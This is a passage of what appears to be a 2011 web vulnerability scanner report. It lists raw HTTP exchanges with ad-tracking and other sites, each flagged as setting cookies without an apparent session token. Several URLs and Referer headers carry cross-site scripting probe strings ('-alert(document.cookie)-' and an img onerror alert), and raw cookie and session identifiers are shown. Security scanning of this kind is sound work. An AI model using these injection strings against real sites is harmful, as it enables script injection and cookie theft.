udm_0=MLv3NVPpKSpj3p3uht7FyYbjN10zcmhKlYGgrukmLuVU97bs7miUcEYhUoOEQoW6hq+QzluB96P8Tutq8Gx/9mt2RRtWTTDFMPnlXOlgYExrUWbzd6XsS3YDB9n8sEO7rJWMBAqM62rPEc1V/be727XdvCMrTAr9wCWxHSaoTomecJyXQpHihffMuEVRzw8h3OxDNuVJgjD7Ih9Ly8ngvXt2rt4SmNQxGHu6UbQFB9GchtzgDx3nIlBpeezAjFRoVM/vHBxUmvtH+1bbl1Fl4ZdnrmM5b1W59yZWpmuOnSSf2k8PLj3aIydPWaqBjSCH4kLnkkd3V9G4pc1/iB+wt5HJPWxDEtpBQKliPLyOJqSHo3GZg11SnpmwXl2EB62oOwnJfXRIG68qmghWJ1ubkNZO3R4IUrINcOdCEzftiZjz6BFLEjMtt/bWMBlAXwgUgztsoo2ReD/q2/z4a41kA0Ypr8hKYa5H4msA1vfs8KMUJI39rh63+qDIG2f7MA7byhF9bF8U8P3xPeIB9DYWg6UQ/TE2BPMUNqktnd2vc2dilAmnnt9dcZ38/Q0Cyzd7bFlqzPGdqxg5MzrB4+r6J8c5Q0sZ/FB9HiflUF+cbGnLI6nnK2Uc9cyirS/6Md3KUSQ9eMlES7QuYhvG9NQMPPFPEgeFZVaJzY2Z3FyVapNr93Ni+GtlNI57fSPs+pJWw/lFgUYqf4s9/eIB9m3CKZDLWKxdGYeWDmGFQAfUIDoKUvXwnyf9wrwJoT/ZmJjMt9jNm1+QrjX0vap9RkKG/ygD/eKI9TYoaK5Y/J79Ulj12hC7mVVyE3wjhR0e9GaRiyqRhbuEG3Z2Ib5J8zbDEd4LC6/1dthK3LavDLQy0A5z3p/krZoaCL1QKiV9JDBOBn4j8npeNRYQzTnQhiiv9rOapvQUNE/nUhaxuRqyT9YwXp0DiJuezLHxHOAtqsBAvJ7lll2Zm7ClWHDEew07dWhx+WXkK3XEm1YAxR/7f9yvpGkXfWY1x6RuGiP7tA==
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rtc_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPFOUmFbxIUVoVdtstSL5KI3a4MU3gyBRZlLmUjQ2DIK2cIAt/jBTBpLVW9VhPgC8BiGwlGGQKHsSz3iD5v+sybgQpEeUUYHaxm/DWpnGGAPjPpSx+4Hn8gnMuMfuY850Yv4M30nuT3TegK17tckQQ8gGRvH8yl9SBNExUB96k1S1rNIiEZXlCSaW8vbDdz/GMxj2DBf2ToqH421bbvPYZj1vO58X9tr/wvWwbdIEtdyv0+mstZbRg=; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ Set-Cookie: rtc_0=MLsvs1cucS5r5hBE3bu6yym0KA0Cy8LPfQEmNj/RSJlndawJcCE4XS02dKluNaBcZlRiSbcC6N1ghvMtbE5tBBmMSZiKGsOToLzsbBM3dhG6AJtwenjSQv5BZV55VC1/rvMQjBaR2n4r87rMPeIfrxkGoUPvVWRKMO4/yPc7aCI+4ifw20M1tY/HHaMbPTs4/jHWoTS9S5lBnH6PhRRabtCFfpx8Rq2Wgzjo7CLBSTdIvupGk1EMV4gvII0HHh+3B5UHkRDVcyowJZpmnvckId2HO80OVL0i6SA5tf/BGuHLmGL60+iIm5rTtTDLogsODhIXaVMjEWScL9J9qwHo1B/DDwcr8AFdiDehRPGur3edc0qL1bFSkU0Qdc8TujIQ+lg9+VYRrQbeN4eAGLYj5F5j8FbZPs6bQHPRuQZnxdfQ0D17CDq/2FHD1Z1yErIh44pt5S3MrkHojHqqeeHQ; Domain=.revsci.net; Expires=Thu, 19-Jan-2012 17:54:40 GMT; Path=/ X-Proc-ms: 3 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 267 Date: Wed, 19 Jan 2011 17:54:40 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel;r=323903281;fpan=1;fpa=P0-224384202-1295452264172;ns=1;url=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law;ref=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law;ce=1;je=1;sr=1920x1200x16;enc=n;ogl=;dst=1;et=1295452264171;tzo=360;a=p-93vmRJG_BQlqo HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EJgBYQHnBYGRAJ6DapEADCWxbUD0QAzRAA1jALcMFJMOyRDuQADrENE69EA1CbEOoQBO8jA
Response
HTTP/1.1 204 No Content Connection: close Set-Cookie: d=ELABYQHsBYGyAJ6DapEADCWxbUD0QAzRAA1jALcMFJMOyRDuQADrENE69EA1CbEOoQBO8jA; expires=Tue, 19-Apr-2011 15:50:44 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Cache-Control: private, no-cache, no-store, proxy-revalidate Pragma: no-cache Expires: Fri, 04 Aug 1978 12:00:00 GMT Date: Wed, 19 Jan 2011 15:50:44 GMT Server: QS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: rafael.lima.myopenid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:26 GMT Server: Apache/2.2 Content-Length: 2020 Content-Type: text/html; charset=UTF-8 X-XRDS-Location: http://rafael.lima.myopenid.com/?xrds=1 Set-Cookie: browser_id=a31aef9638fa947c2060b702bc4d71e1300c100024151b91c108028975fd579c; domain=myopenid.com; path=/; expires=Thu, 19-Jan-2012 18:14:26 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head > <title> http://rafael.lima.myopenid.com/ </title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /xrds HTTP/1.1 Host: rafael.lima.myopenid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:14:28 GMT Server: Apache/2.2 Content-Length: 1569 Content-Type: application/xrds+xml Set-Cookie: browser_id=b0970771c71f3637df99d012b1051bad98ea3f2748fbbca76a83fcd0015edced; domain=myopenid.com; path=/; expires=Thu, 19-Jan-2012 18:14:28 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scholar?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=ws HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html;charset=UTF-8"><meta http-equiv="imagetoolbar" content="no"><title>washington, dc law - Google Scholar</title><style>#gbar,#guser{font-si ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel?pixelID=38582&partnerID=169&key=segment HTTP/1.1 Host: segment-pixel.invitemedia.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=82d726c3-44ee-407c-85c4-39a0b0fc11ef; exchange_uid="eyI0IjpbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWSIsNzM0MTUxXX0="; segments=16681|30767|17329|18086
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 15:51:10 GMT Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: segments=16681|30767|38582,1298044270|17329|18086;Path=/;Domain=invitemedia.com;Expires=Thu, 19-Jan-2012 15:51:10 GMT Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Cache-Control: no-cache Location: http://ad.yieldmanager.com/pixel?id=1080839&t=2 Connection: close Server: Jetty(6.1.25)
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sync/img?mt_exid=10002&redir=http://tags.bluekai.com/site/2948%3Fid%3DPARTNER_UUID HTTP/1.1 Host: sync.mathtag.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Server: mt2/1.2.3.967 Oct 13 2010-13:40:24 ewr-pixel-n2a pid 0x3c99 15513 Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Date: Wed, 19 Jan 2011 15:26:52 GMT Location: http://sync.mathtag.com/sync/img?mt_exid=10002&redir=http://tags.bluekai.com/site/2948%3Fid%3DPARTNER_UUID&mm_bnc Etag: 4d3702bc-839e-0690-5370-3c19a9561295 Connection: Keep-Alive Set-Cookie: uuid=4d3702bc-839e-0690-5370-3c19a9561295; domain=.mathtag.com; path=/; expires=Thu, 19-Jan-2012 15:26:52 GMT Set-Cookie: ts=1295450812; domain=.mathtag.com; path=/; expires=Thu, 19-Jan-2012 15:26:52 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tntwo.php?mm_pub=7333&u=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law&r=http%3A%2F%2Fburp%2Fshow%2F25&t=360 HTTP/1.1 Host: syndication.mmismm.com Proxy-Connection: keep-alive Referer: http://cim.meebo.com/cim/sandbox.php?lang=en&version=v89_cim_10_3_8&protocol=http%3A&network=csmonitor Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:50:48 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR BUS COM NAV" Set-Cookie: G=10120000000990801741; expires=Tue, 19-Jan-2016 21:50:48 GMT; path=/; domain=.mmismm.com Content-Length: 43 Content-Type: text/javascript
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/1407?limit=0&ret=pixel&phint=naid=& HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=4858653 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=Di3SlsBCxZ/sHNJo; bkc=KJ0njsjQisaCRBMBjmfnp1eWW97ABXriXCzRGd/UGFsMNOMCd92zWw1K9FZ1e9hQ4Q9lvod8v03dC86Hpr47CridMzEl1Aqkwdrs0CKVjGEpP6w+d0tLbzFWLazOhn5rHKPFlGpQJpJYNwdqjxeA1pY9IwmbWUysUGCX3gTVtcyxlfWEkU2PCHsaFNzBkuIoML3l5AekKbehjH1xdO8tiwN4QKbaXKlMDwAmScpjVQEdWexXkBmDTcyfqkxIp0WW7hw/5th98Sz6GdnlED4y9q6UPlL=; bko=KJ0fyXF9XJlJlJKHRH/q9T1wLfAFvT1AcyBe3gTVD9y9Uh9aYy==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxilGxQO04uaj; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCx8Vs/gFfw0GIU4J1ufsW6ue6EytNEOGRGe0XtExLxebEKLRWOEvz61pOXhbJFah1e9pBe3EDeyT3qbfCTgWet1w9011QZ1evAbZ+ONx49NDLpQPD9xj9OLh19DDoQSQ==; bkdc=res
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 15:29:52 GMT P3P: CP="NOI DSP COR CUR ADMo DEVo PSAo PSDo OUR SAMo BUS UNI NAV", policyref="http://tags.bluekai.com/w3c/p3p.xml" Pragma: no-cache Expires: Thu, 01 Dec 1994 16:00:00 GMT Cache-Control: max-age=0, no-cache, no-store Set-Cookie: bk=pxuQtsBCxZ/sHNJo; expires=Mon, 18-Jul-2011 15:29:52 GMT; path=/; domain=.bluekai.com Set-Cookie: bkc=KJ0gjtPQisaCRYCQBF5kjsOQ3940T2cTw0/xdWCZiwg5EmSIp9h1RcbpnYodQEW340WSw63BWzfdy9Dhf0WEhcyxwT9qkzdXajU4yXT/8dBpxdE4HrJfsSw07lNe8x+n1Xn83bctdhqV2sPitvL9TkrlGF/lq6qyWhACbFd+1Qe0sHC9dc75YeTen6xIPPXnqeb/f2iJ0gI3yGMYlbrs0o5DHIPqmbe0w5eTLQA/4QXfhwbFxw4YIwjh3cycBn8LnRJdYOGK0ZkvznT5B0348hYYpy7AmpSQXkmSD47foiwT99F/UQ/=; expires=Mon, 18-Jul-2011 15:29:52 GMT; path=/; domain=.bluekai.com Set-Cookie: bkdc=res; expires=Thu, 20-Jan-2011 15:29:52 GMT; path=/; domain=.bluekai.com BK-Server: 8d9f Content-Length: 62 Content-Type: image/gif Connection: keep-alive
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2800?id=4044268024581976328 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bk=5Ku/+oDM64TsHNJo; bkc=KJpM8tjQisaCRnMBjmfn01e9y9dAKhZMXo22xIDnupwYIjc1WwtfA4MBL3MXOzSGd/PGdYQNHMCdBH4WFBdYZg81ecLPxcpgPkEI8L6/4i/MHwtdUxj9wQ1eieIFsXa7T/U/oIogQz6cXH6fD4kUPHCHIcFPDwZub3CXSy5DFQzSUpROyK2CC2MdaKCKsBXIeoUFQ1SUgDUye6cexpkBYzblT6qkXhhYXeZO41zsPc8v10odllxWcy9lDWrR; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJIq9xCrQ2ZIlOMunKCY99XBsTy=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2831?phint=zip=&phint=age=&phint=gender=&phint=segment=000 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=z60AOjDM64TsHNJo; bkc=KJ0njsjQisaCRBMBjmfn01e9W97ABXriXCzRGd/UGFsMNOMCdBPzWwBIYtFb1McLPxehgP+HIjLl/diJMOeNdlRj9wA1eYeIFsTW7TWU/oI3gyDtcXHlfWEkUNPCHmcFPDwkub3MX365DwAKScpjO9udChNidNKQKtaXIpCDFQ1SUfRVyEXWexdkBYDTlTTqkz2pY1c7Ow/5sNe8vztGdclEWUy97lBYy9==; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJXqxXQUDbQaUxQ9YdxKQy==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2893?id=3271971346728586924 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=z60AOjDM64TsHNJo; bkc=KJ0njsjQisaCRBMBjmfn01e9W97ABXriXCzRGd/UGFsMNOMCdBPzWwBIYtFb1McLPxehgP+HIjLl/diJMOeNdlRj9wA1eYeIFsTW7TWU/oI3gyDtcXHlfWEkUNPCHmcFPDwkub3MX365DwAKScpjO9udChNidNKQKtaXIpCDFQ1SUfRVyEXWexdkBYDTlTTqkz2pY1c7Ow/5sNe8vztGdclEWUy97lBYy9==; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJXqxXQUDbQaUxQ9YdxKQy==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2948?id=4d3702bc-839e-0690-5370-3c19a9561295 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJ0qh1q9LJFJlJKaxjvwQuaPUXrUAxW9JuAeWx==; bkw4=KJ0foXl9y1M90zU9LsXb9XBrJ7B4UVKjNTd1omhC2OasOQjVCMZse9hBPi83VluJDzdsz1t/QVcpi0nBD6uojt4TYNHdnrO9kRzCrFGdvp2KXANvL/4H/wP1en5BsHiiwnpRKvh9bCkTsHCAWhQjDFVNGmGeTm3kZz93QYe/QBAJ91Uxx+X=; bk=5Ku/+oDM64TsHNJo; bkc=KJpM8tjQisaCRnMBjmfn01e9y9dAKhZMXo22xIDnupwYIjc1WwtfA4MBL3MXOzSGd/PGdYQNHMCdBH4WFBdYZg81ecLPxcpgPkEI8L6/4i/MHwtdUxj9wQ1eieIFsXa7T/U/oIogQz6cXH6fD4kUPHCHIcFPDwZub3CXSy5DFQzSUpROyK2CC2MdaKCKsBXIeoUFQ1SUgDUye6cexpkBYzblT6qkXhhYXeZO41zsPc8v10odllxWcy9lDWrR; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEnyF9O3Jb5GExFm0IdwsXlApkxiJIq9xCrQ2ZIlOMunKCY99XBsTy=; bkdc=res
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(1)%3E9c7a66be0e0/Attorneys Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorxn9wijYhQ=; bku=yQG99YBZ/AlFQiDm; bko=KJ0E8sBQuBUUXZPA999sU9W6; bkw4=KJpMLVJQRsHQTsPQAWNQjWMPNdn2LdnMJ5IA9cL/7V9FpxHV9xHOOLhm9YnveOX=; bk=EtFj1CcQOrRsHNJo; bkc=KJhnjsHQisaCRwil0XYUiRsO/Hc/72KBTewyxrHE2qPXsSaXh68DdkDPHCEIUMPDF3xbv+dS9jUFQzSUEDeyPlBOfwX+g9k6pNTaWBIbajVdKEmYlX1mD4XP094oOdc+TNe8eZCXtPGWdheDwrD6JEM4MCrPpl1/yKzWXC6qDwAopSMX451H499PeEKY
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /si/cm/tracking/clickredirect.aspx?sicontent=1&sicreative=5393359740&sitrackingid=216792860&client=ca-dp-sphere_related_xml HTTP/1.1 Host: track.searchignite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.AutoTrader.com?LNX=SPGCNENT">here</a>.</h2> </body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /translate_t?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:42 GMT Expires: Wed, 19 Jan 2011 15:25:42 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=d1ad7660f84f0a57:TM=1295450742:LM=1295450742:S=28dMatX_jzaFirCR; expires=Fri, 18-Jan-2013 15:25:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p-travelguide-2818610-national_law_enforcement_officers_memorial_district_of_columbia-i/x26amp HTTP/1.1 Host: travel.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Wed, 19 Jan 2011 15:25:44 GMT Set-Cookie: B=73uqdrp6je0jo&b=3&s=bj; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Cache-Control: private, max-age=900 Expires: Wed, 19 Jan 2011 15:40:44 GMT Location: /p-travelguide-2818610-national_law_enforcement_officers_memorial_district_of_columbia-i Connection: close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 84
<!-- p11.travel.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:25:44 PST 2011 -->
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Pragma: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV" X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xcDMgWyBEUFNMaWNlbnNlLzAgIF0= X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 16:56:17 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: TLTHID=084FA2A423ED102323B7E28CEF488F78; Path=/; Domain=.att.com Set-Cookie: TLTSID=084FA2A423ED102323B7E28CEF488F78; Path=/; Domain=.att.com Set-Cookie: TLTUID=084FA2A423ED102323B7E28CEF488F78; Path=/; Domain=.att.com; Expires=Wed, 19-01-2021 16:56:17 GMT Set-Cookie: B2CSESSIONID=VwQXN3XRv1gyKk!1780089856; path=/; 